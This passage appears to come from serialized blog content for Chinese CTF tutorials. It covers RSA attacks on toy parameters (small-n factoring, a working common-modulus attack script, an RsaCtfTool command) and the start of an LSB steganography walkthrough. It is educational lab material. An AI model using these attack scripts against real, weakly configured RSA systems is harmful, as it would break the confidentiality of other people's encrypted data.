双方共享密钥一致\n",[26,11666,11667,11671,11675,11680],{"__ignoreMap":24},[29,11668,11669],{"class":31,"line":32},[29,11670,4830],{},[29,11672,11673],{"class":31,"line":166},[29,11674,4845],{},[29,11676,11677],{"class":31,"line":184},[29,11678,11679],{},"A, B = pow(g, a, p), pow(g, b, p)\n",[29,11681,11682],{"class":31,"line":196},[29,11683,11684],{},"assert pow(B, a, p) == pow(A, b, p)   # 双方共享密钥一致\n",[15,11686,11687,11688,11691,11692,1847,11694,11697],{},"RSA 的安全基础是：已知 ",[26,11689,11690],{},"n"," 求 ",[26,11693,15],{},[26,11695,11696],{},"q","（分解）在计算上不可行。CTF 题把参数做小或做错，让分解或绕过分解成为可能。",[10,11699,2086],{"id":2085},[19,11701,11702],{"className":21,"code":4418,"language":23,"meta":24,"style":24},[26,11703,11704],{"__ignoreMap":24},[29,11705,11706,11708,11710,11712,11714],{"class":31,"line":32},[29,11707,3378],{"class":35},[29,11709,172],{"class":47},[29,11711,4429],{"class":47},[29,11713,4432],{"class":47},[29,11715,4435],{"class":47},[10,11717,11719],{"id":11718},"三核心知识rsa-公式","三、核心知识：RSA 公式",[19,11721,11724],{"className":11722,"code":11723,"language":63,"meta":24},[61],"n = p × q\nφ(n) = (p-1)(q-1)\ne × d ≡ 1 (mod φ(n))        # d 是 e 的模逆元\n加密：c = m^e mod n\n解密：m = c^d mod n\n",[26,11725,11723],{"__ignoreMap":24},[15,11727,11728],{},"三个必须会用的 Python 运算：",[19,11730,11732],{"className":3199,"code":11731,"language":3201,"meta":24,"style":24},"pow(3, 4, 7)        # 快速幂取模 = 4\npow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[26,11733,11734,11739],{"__ignoreMap":24},[29,11735,11736],{"class":31,"line":32},[29,11737,11738],{},"pow(3, 4, 7)        # 快速幂取模 = 4\n",[29,11740,11741],{"class":31,"line":166},[29,11742,11743],{},"pow(e, -1, phi)     # 求 e 在模 phi 下的逆元\n",[10,11745,11747],{"id":11746},"四核心步骤-1手算验证","四、核心步骤 1：手算验证",[15,11749,11750,11752],{},[138,11751,519],{},"：用最小参数亲手跑通 RSA 的生成与加解密，确认公式理解正确。",[15,11754,11755,11757],{},[138,11756,528],{},"：先算 n 与 φ(n)，再求 d（e 的模逆元），最后验证 pow(c,d,n) 能还原 m。这四步是后面所有攻击的基础。",[19,11759,11761],{"className":3199,"code":11760,"language":3201,"meta":24,"style":24},"p, q, e = 61, 53, 17\nn = p * q\n# n = 3233，公钥模数。\nphi = (p - 1) * (q - 1)\n# φ(n) = 60 × 52 = 3120，欧拉函数值。\nd = pow(e, -1, phi)\n# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n\nm = 65\nc = pow(m, e, n)\n# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\nprint(\"n =\", n)\nprint(\"phi =\", phi)\nprint(\"d =\", d)\nprint(\"c =\", c)\nprint(\"解密 =\", pow(c, d, n))\n# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[26,11762,11763,11768,11773,11778,11783,11788,11793,11798,11802,11807,11812,11817,11822,11827,11832,11837,11842],{"__ignoreMap":24},[29,11764,11765],{"class":31,"line":32},[29,11766,11767],{},"p, q, e = 61, 53, 17\n",[29,11769,11770],{"class":31,"line":166},[29,11771,11772],{},"n = p * q\n",[29,11774,11775],{"class":31,"line":184},[29,11776,11777],{},"# n = 3233，公钥模数。\n",[29,11779,11780],{"class":31,"line":196},[29,11781,11782],{},"phi = (p - 1) * (q - 1)\n",[29,11784,11785],{"class":31,"line":206},[29,11786,11787],{},"# φ(n) = 60 × 52 = 3120，欧拉函数值。\n",[29,11789,11790],{"class":31,"line":221},[29,11791,11792],{},"d = pow(e, -1, phi)\n",[29,11794,11795],{"class":31,"line":228},[29,11796,11797],{},"# pow(e, -1, phi)：求 e 在模 phi 下的乘法逆元，即私钥 d = 2753。\n",[29,11799,11800],{"class":31,"line":234},[29,11801,225],{"emptyLinePlaceholder":224},[29,11803,11804],{"class":31,"line":246},[29,11805,11806],{},"m = 65\n",[29,11808,11809],{"class":31,"line":376},[29,11810,11811],{},"c = pow(m, e, n)\n",[29,11813,11814],{"class":31,"line":382},[29,11815,11816],{},"# pow(m, e, n)：快速幂取模，即 m^e mod n，加密得 c = 2790。\n",[29,11818,11819],{"class":31,"line":388},[29,11820,11821],{},"print(\"n =\", n)\n",[29,11823,11824],{"class":31,"line":394},[29,11825,11826],{},"print(\"phi =\", phi)\n",[29,11828,11829],{"class":31,"line":400},[29,11830,11831],{},"print(\"d =\", d)\n",[29,11833,11834],{"class":31,"line":405},[29,11835,11836],{},"print(\"c =\", c)\n",[29,11838,11839],{"class":31,"line":411},[29,11840,11841],{},"print(\"解密 =\", pow(c, d, n))\n",[29,11843,11844],{"class":31,"line":417},[29,11845,11846],{},"# pow(c, d, n)：用私钥解密，应还原 65，验证公式正确。\n",[15,11848,4372],{},[19,11850,11853],{"className":11851,"code":11852,"language":63,"meta":24},[61],"n = 3233\nphi = 3120\nd = 2753\nc = 2790\n解密 = 65\n",[26,11854,11852],{"__ignoreMap":24},[15,11856,11857,11858,11861],{},"攻击者只有 ",[26,11859,11860],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,11863,11865],{"id":11864},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,11867,11868,11870],{},[138,11869,519],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,11872,11873,11875],{},[138,11874,528],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[271,11877,11879],{"id":11878},"_51-用-sympy-分解","5.1 用 sympy 分解",[19,11881,11883],{"className":3199,"code":11882,"language":3201,"meta":24,"style":24},"from sympy import factorint\n\nprint(factorint(3233))\n",[26,11884,11885,11890,11894],{"__ignoreMap":24},[29,11886,11887],{"class":31,"line":32},[29,11888,11889],{},"from sympy import factorint\n",[29,11891,11892],{"class":31,"line":166},[29,11893,225],{"emptyLinePlaceholder":224},[29,11895,11896],{"class":31,"line":184},[29,11897,11898],{},"print(factorint(3233))\n",[15,11900,4372],{},[19,11902,11905],{"className":11903,"code":11904,"language":63,"meta":24},[61],"{53: 1, 61: 1}\n",[26,11906,11904],{"__ignoreMap":24},[15,11908,11909,11910,789],{},"得到 ",[26,11911,11912],{},"p=53, q=61",[271,11914,11916],{"id":11915},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,11918,11919,11921],{},[138,11920,528],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[19,11923,11925],{"className":3199,"code":11924,"language":3201,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[26,11926,11927,11932,11937,11941,11946,11951,11956,11961,11965,11969,11973,11978,11983,11987,11992,11997,12002],{"__ignoreMap":24},[29,11928,11929],{"class":31,"line":32},[29,11930,11931],{},"from Crypto.Util.number import long_to_bytes\n",[29,11933,11934],{"class":31,"line":166},[29,11935,11936],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[29,11938,11939],{"class":31,"line":184},[29,11940,225],{"emptyLinePlaceholder":224},[29,11942,11943],{"class":31,"line":196},[29,11944,11945],{},"n = 3233\n",[29,11947,11948],{"class":31,"line":206},[29,11949,11950],{},"e = 17\n",[29,11952,11953],{"class":31,"line":221},[29,11954,11955],{},"c = 2790\n",[29,11957,11958],{"class":31,"line":228},[29,11959,11960],{},"p, q = 53, 61\n",[29,11962,11963],{"class":31,"line":234},[29,11964,225],{"emptyLinePlaceholder":224},[29,11966,11967],{"class":31,"line":246},[29,11968,11782],{},[29,11970,11971],{"class":31,"line":376},[29,11972,11792],{},[29,11974,11975],{"class":31,"line":382},[29,11976,11977],{},"m = pow(c, d, n)\n",[29,11979,11980],{"class":31,"line":388},[29,11981,11982],{},"# 解密：m = c^d mod n。\n",[29,11984,11985],{"class":31,"line":394},[29,11986,225],{"emptyLinePlaceholder":224},[29,11988,11989],{"class":31,"line":400},[29,11990,11991],{},"print(\"m =\", m)\n",[29,11993,11994],{"class":31,"line":405},[29,11995,11996],{},"print(long_to_bytes(m))\n",[29,11998,11999],{"class":31,"line":411},[29,12000,12001],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[29,12003,12004],{"class":31,"line":417},[29,12005,12006],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,12008,4372],{},[19,12010,12013],{"className":12011,"code":12012,"language":63,"meta":24},[61],"m = 65\nb'A'\n",[26,12014,12012],{"__ignoreMap":24},[15,12016,12017,12020,12021,12023],{},[26,12018,12019],{},"65"," 对应的 ASCII 字符是 ",[26,12022,3866],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[271,12025,12027],{"id":12026},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,12029,12030,12031,12035],{},"如果 n 太大本地分解不动，去 ",[4440,12032,12033],{"href":12033,"rel":12034},"https://factordb.com",[4444]," 粘贴 n 查询，或：",[19,12037,12039],{"className":3199,"code":12038,"language":3201,"meta":24,"style":24},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[26,12040,12041,12046,12050,12055,12060],{"__ignoreMap":24},[29,12042,12043],{"class":31,"line":32},[29,12044,12045],{},"from factordb.factordb import FactorDB\n",[29,12047,12048],{"class":31,"line":166},[29,12049,225],{"emptyLinePlaceholder":224},[29,12051,12052],{"class":31,"line":184},[29,12053,12054],{},"f = FactorDB(n)\n",[29,12056,12057],{"class":31,"line":196},[29,12058,12059],{},"f.connect()\n",[29,12061,12062],{"class":31,"line":206},[29,12063,12064],{},"p, q = f.get_factor_list()\n",[10,12066,12068],{"id":12067},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[271,12070,12072],{"id":12071},"_61-场景","6.1 场景",[15,12074,12075,12076,12078,12079,12082],{},"同一个 ",[26,12077,11690],{},"、两个互质的 ",[26,12080,12081],{},"e1, e2","、同一明文：",[19,12084,12087],{"className":12085,"code":12086,"language":63,"meta":24},[61],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[26,12088,12086],{"__ignoreMap":24},[271,12090,12092],{"id":12091},"_62-数学原理","6.2 数学原理",[15,12094,12095,12097],{},[138,12096,519],{},"：理解为什么\"两个密文能拼出明文\"。",[15,12099,12100,12102],{},[138,12101,528],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,12104,12105,12106,12109],{},"扩展欧几里得算法求出 ",[26,12107,12108],{},"a, b"," 使：",[19,12111,12114],{"className":12112,"code":12113,"language":63,"meta":24},[61],"a × e1 + b × e2 = 1\n",[26,12115,12113],{"__ignoreMap":24},[15,12117,12118],{},"则：",[19,12120,12123],{"className":12121,"code":12122,"language":63,"meta":24},[61],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[26,12124,12122],{"__ignoreMap":24},[271,12126,12128],{"id":12127},"_63-完整代码","6.3 完整代码",[19,12130,12132],{"className":3199,"code":12131,"language":3201,"meta":24,"style":24},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[26,12133,12134,12139,12144,12149,12154,12159,12164,12168,12172,12177,12181,12186,12191,12195,12200,12205,12210,12215,12219,12224,12229,12234,12239,12244,12249,12254,12259,12263,12268,12272,12277,12282,12287],{"__ignoreMap":24},[29,12135,12136],{"class":31,"line":32},[29,12137,12138],{},"def egcd(a, b):\n",[29,12140,12141],{"class":31,"line":166},[29,12142,12143],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[29,12145,12146],{"class":31,"line":184},[29,12147,12148],{},"    if b == 0:\n",[29,12150,12151],{"class":31,"line":196},[29,12152,12153],{},"        return a, 1, 0\n",[29,12155,12156],{"class":31,"line":206},[29,12157,12158],{},"    g, x, y = egcd(b, a % b)\n",[29,12160,12161],{"class":31,"line":221},[29,12162,12163],{},"    return g, y, x - (a // b) * y\n",[29,12165,12166],{"class":31,"line":228},[29,12167,225],{"emptyLinePlaceholder":224},[29,12169,12170],{"class":31,"line":234},[29,12171,11945],{},[29,12173,12174],{"class":31,"line":246},[29,12175,12176],{},"e1, e2 = 17, 19\n",[29,12178,12179],{"class":31,"line":376},[29,12180,11806],{},[29,12182,12183],{"class":31,"line":382},[29,12184,12185],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[29,12187,12188],{"class":31,"line":388},[29,12189,12190],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[29,12192,12193],{"class":31,"line":394},[29,12194,225],{"emptyLinePlaceholder":224},[29,12196,12197],{"class":31,"line":400},[29,12198,12199],{},"_, a, b = egcd(e1, e2)\n",[29,12201,12202],{"class":31,"line":405},[29,12203,12204],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[29,12206,12207],{"class":31,"line":411},[29,12208,12209],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[29,12211,12212],{"class":31,"line":417},[29,12213,12214],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[29,12216,12217],{"class":31,"line":422},[29,12218,225],{"emptyLinePlaceholder":224},[29,12220,12221],{"class":31,"line":428},[29,12222,12223],{},"# 负指数要先取模逆元\n",[29,12225,12226],{"class":31,"line":434},[29,12227,12228],{},"if a \u003C 0:\n",[29,12230,12231],{"class":31,"line":440},[29,12232,12233],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[29,12235,12236],{"class":31,"line":446},[29,12237,12238],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[29,12240,12241],{"class":31,"line":452},[29,12242,12243],{},"else:\n",[29,12245,12246],{"class":31,"line":458},[29,12247,12248],{},"    c1 = pow(c1, a, n)\n",[29,12250,12251],{"class":31,"line":5704},[29,12252,12253],{},"if b \u003C 0:\n",[29,12255,12256],{"class":31,"line":5709},[29,12257,12258],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[29,12260,12261],{"class":31,"line":5715},[29,12262,12243],{},[29,12264,12265],{"class":31,"line":5721},[29,12266,12267],{},"    c2 = pow(c2, b, n)\n",[29,12269,12270],{"class":31,"line":5726},[29,12271,225],{"emptyLinePlaceholder":224},[29,12273,12274],{"class":31,"line":5732},[29,12275,12276],{},"recovered = (c1 * c2) % n\n",[29,12278,12279],{"class":31,"line":5738},[29,12280,12281],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[29,12283,12284],{"class":31,"line":5744},[29,12285,12286],{},"print(\"恢复 m =\", recovered)\n",[29,12288,12289],{"class":31,"line":5750},[29,12290,12291],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,12293,4372],{},[19,12295,12298],{"className":12296,"code":12297,"language":63,"meta":24},[61],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[26,12299,12297],{"__ignoreMap":24},[10,12301,12303],{"id":12302},"七其他常见攻击速查","七、其他常见攻击速查",[70,12305,12306,12316],{},[73,12307,12308],{},[76,12309,12310,12313],{},[79,12311,12312],{},"场景",[79,12314,12315],{},"攻击",[86,12317,12318,12336,12344,12352,12360],{},[76,12319,12320,12329],{},[91,12321,12322,12325,12326],{},[26,12323,12324],{},"e=3"," 且 ",[26,12327,12328],{},"m^e \u003C n",[91,12330,12331,12332,12335],{},"直接开立方根（",[26,12333,12334],{},"gmpy2.iroot(c, 3)","）",[76,12337,12338,12341],{},[91,12339,12340],{},"同一明文发给 3 个不同 n",[91,12342,12343],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[76,12345,12346,12349],{},[91,12347,12348],{},"e 特别大（d 很小）",[91,12350,12351],{},"Wiener 攻击（连分数）",[76,12353,12354,12357],{},[91,12355,12356],{},"p、q 很接近",[91,12358,12359],{},"Fermat 分解（平方差）",[76,12361,12362,12365],{},[91,12363,12364],{},"泄露 dp",[91,12366,12367,12368],{},"枚举 k，",[26,12369,12370],{},"p = (e*dp-1)//k + 1",[10,12372,3974],{"id":3973},[70,12374,12375,12385],{},[73,12376,12377],{},[76,12378,12379,12381,12383],{},[79,12380,3008],{},[79,12382,3985],{},[79,12384,3988],{},[86,12386,12387,12405,12421],{},[76,12388,12389,12392,12403],{},[91,12390,12391],{},"pycryptodome",[91,12393,12394,1847,12397,1847,12400],{},[26,12395,12396],{},"long_to_bytes",[26,12398,12399],{},"inverse",[26,12401,12402],{},"pow(m,e,n)",[91,12404,4017],{},[76,12406,12407,12410,12416],{},[91,12408,12409],{},"sympy",[91,12411,12412,12415],{},[26,12413,12414],{},"factorint"," 分解",[91,12417,12418],{},[26,12419,12420],{},"factorint(3233)",[76,12422,12423,12426,12429],{},[91,12424,12425],{},"RsaCtfTool",[91,12427,12428],{},"自动尝试多种攻击、从公钥文件读取",[91,12430,12431],{},[26,12432,12433],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,12435,12436,12437,12442],{},"FactorDB（",[4440,12438,12441],{"href":12439,"rel":12440},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[4444],"https://factordb.com）用于查"," n 的已知分解。",[10,12444,11542],{"id":11541},[15,12446,3097],{},[19,12448,12451],{"className":12449,"code":12450,"language":63,"meta":24},[61],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[26,12452,12450],{"__ignoreMap":24},[15,12454,12455],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[271,12457,12459],{"id":12458},"第一步分解","第一步：分解",[15,12461,12462,12464],{},[138,12463,528],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[19,12466,12468],{"className":3199,"code":12467,"language":3201,"meta":24,"style":24},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[26,12469,12470,12474],{"__ignoreMap":24},[29,12471,12472],{"class":31,"line":32},[29,12473,11889],{},[29,12475,12476],{"class":31,"line":166},[29,12477,12478],{},"print(factorint(1000000016000000063))\n",[15,12480,4372],{},[19,12482,12485],{"className":12483,"code":12484,"language":63,"meta":24},[61],"{1000000007: 1, 1000000009: 1}\n",[26,12486,12484],{"__ignoreMap":24},[271,12488,12490],{"id":12489},"第二步解密","第二步：解密",[15,12492,12493,12495,12496,12499],{},[138,12494,528],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[26,12497,12498],{},"b'flag'"," 说明解密成功。",[19,12501,12503],{"className":3199,"code":12502,"language":3201,"meta":24,"style":24},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[26,12504,12505,12509,12513,12518,12523,12528,12533,12537,12541,12545],{"__ignoreMap":24},[29,12506,12507],{"class":31,"line":32},[29,12508,11931],{},[29,12510,12511],{"class":31,"line":166},[29,12512,225],{"emptyLinePlaceholder":224},[29,12514,12515],{"class":31,"line":184},[29,12516,12517],{},"n = 1000000016000000063\n",[29,12519,12520],{"class":31,"line":196},[29,12521,12522],{},"e = 65537\n",[29,12524,12525],{"class":31,"line":206},[29,12526,12527],{},"c = 856868007642616233\n",[29,12529,12530],{"class":31,"line":221},[29,12531,12532],{},"p, q = 1000000007, 1000000009\n",[29,12534,12535],{"class":31,"line":228},[29,12536,225],{"emptyLinePlaceholder":224},[29,12538,12539],{"class":31,"line":234},[29,12540,11782],{},[29,12542,12543],{"class":31,"line":246},[29,12544,11792],{},[29,12546,12547],{"class":31,"line":376},[29,12548,12549],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,12551,4372],{},[19,12553,12556],{"className":12554,"code":12555,"language":63,"meta":24},[61],"b'flag'\n",[26,12557,12555],{"__ignoreMap":24},[271,12559,12561],{"id":12560},"第三步工具验证","第三步：工具验证",[19,12563,12565],{"className":21,"code":12564,"language":23,"meta":24,"style":24},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[26,12566,12567],{"__ignoreMap":24},[29,12568,12569,12572,12574,12577,12579,12582,12585,12588,12591],{"class":31,"line":32},[29,12570,12571],{"class":35},"./RsaCtfTool.py",[29,12573,2227],{"class":39},[29,12575,12576],{"class":39}," 1000000016000000063",[29,12578,5523],{"class":39},[29,12580,12581],{"class":39}," 65537",[29,12583,12584],{"class":39}," --uncipher",[29,12586,12587],{"class":39}," 856868007642616233",[29,12589,12590],{"class":39}," --attack",[29,12592,12593],{"class":47}," all\n",[10,12595,1985],{"id":1984},[15,12597,12598,12599,12602],{},"RSA 解题顺序：",[138,12600,12601],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1990,12604,5181],{},{"title":24,"searchDepth":166,"depth":166,"links":12606},[12607,12608,12609,12610,12611,12612,12613,12614,12615,12616],{"id":11654,"depth":184,"text":11655},{"id":2085,"depth":184,"text":2086},{"id":11718,"depth":184,"text":11719},{"id":11746,"depth":184,"text":11747},{"id":11864,"depth":184,"text":11865},{"id":12067,"depth":184,"text":12068},{"id":12302,"depth":184,"text":12303},{"id":3973,"depth":184,"text":3974},{"id":11541,"depth":184,"text":11542},{"id":1984,"depth":184,"text":1985},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":2008,"image":9507,"alt":12619,"tags":12620,"published":224},"RSA 深入实战",[788,5197,12621,2013],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":11649,"description":12617},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":12627,"title":12628,"body":12629,"description":13638,"extension":2006,"meta":13639,"navigation":224,"ogImage":4195,"path":13643,"seo":13644,"stem":13645,"__hash__":13646},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":12630,"toc":13628},[12631,12635,12641,12643,12677,12681,12685,12688,12694,12698,12703,12850,12860,12864,12869,12874,12977,12979,12984,12988,13001,13007,13011,13016,13021,13025,13028,13034,13041,13045,13050,13088,13090,13096,13098,13104,13108,13113,13170,13173,13179,13182,13220,13222,13228,13231,13235,13244,13299,13301,13307,13314,13318,13323,13328,13331,13429,13436,13442,13453,13455,13520,13524,13529,13534,13538,13540,13580,13583,13588,13594,13609,13612,13614,13625],[10,12632,12634],{"id":12633},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,12636,12637,12638,12640],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[26,12639,5278],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,12642,2086],{"id":2085},[19,12644,12646],{"className":21,"code":12645,"language":23,"meta":24,"style":24},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[26,12647,12648,12661,12669],{"__ignoreMap":24},[29,12649,12650,12652,12654,12656,12658],{"class":31,"line":32},[29,12651,169],{"class":35},[29,12653,172],{"class":47},[29,12655,2103],{"class":47},[29,12657,2106],{"class":47},[29,12659,12660],{"class":47}," binwalk\n",[29,12662,12663,12665,12667],{"class":31,"line":166},[29,12664,3378],{"class":35},[29,12666,172],{"class":47},[29,12668,5318],{"class":47},[29,12670,12671,12673,12675],{"class":31,"line":184},[29,12672,5962],{"class":35},[29,12674,172],{"class":47},[29,12676,5967],{"class":47},[10,12678,12680],{"id":12679},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[271,12682,12684],{"id":12683},"_31-原理","3.1 原理",[15,12686,12687],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[19,12689,12692],{"className":12690,"code":12691,"language":63,"meta":24},[61],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[26,12693,12691],{"__ignoreMap":24},[271,12695,12697],{"id":12696},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,12699,12700,12702],{},[138,12701,519],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[19,12704,12706],{"className":3199,"code":12705,"language":3201,"meta":24,"style":24},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[26,12707,12708,12712,12717,12721,12725,12730,12734,12738,12742,12747,12751,12756,12760,12765,12769,12773,12777,12781,12785,12789,12794,12798,12802,12807,12811,12815,12820,12824,12828,12832,12837,12841,12846],{"__ignoreMap":24},[29,12709,12710],{"class":31,"line":32},[29,12711,5589],{},[29,12713,12714],{"class":31,"line":166},[29,12715,12716],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[29,12718,12719],{"class":31,"line":184},[29,12720,225],{"emptyLinePlaceholder":224},[29,12722,12723],{"class":31,"line":196},[29,12724,5603],{},[29,12726,12727],{"class":31,"line":206},[29,12728,12729],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[29,12731,12732],{"class":31,"line":221},[29,12733,5618],{},[29,12735,12736],{"class":31,"line":228},[29,12737,225],{"emptyLinePlaceholder":224},[29,12739,12740],{"class":31,"line":234},[29,12741,5627],{},[29,12743,12744],{"class":31,"line":246},[29,12745,12746],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[29,12748,12749],{"class":31,"line":376},[29,12750,5642],{},[29,12752,12753],{"class":31,"line":382},[29,12754,12755],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[29,12757,12758],{"class":31,"line":388},[29,12759,5657],{},[29,12761,12762],{"class":31,"line":394},[29,12763,12764],{},"# getdata()：取出所有像素，每项是 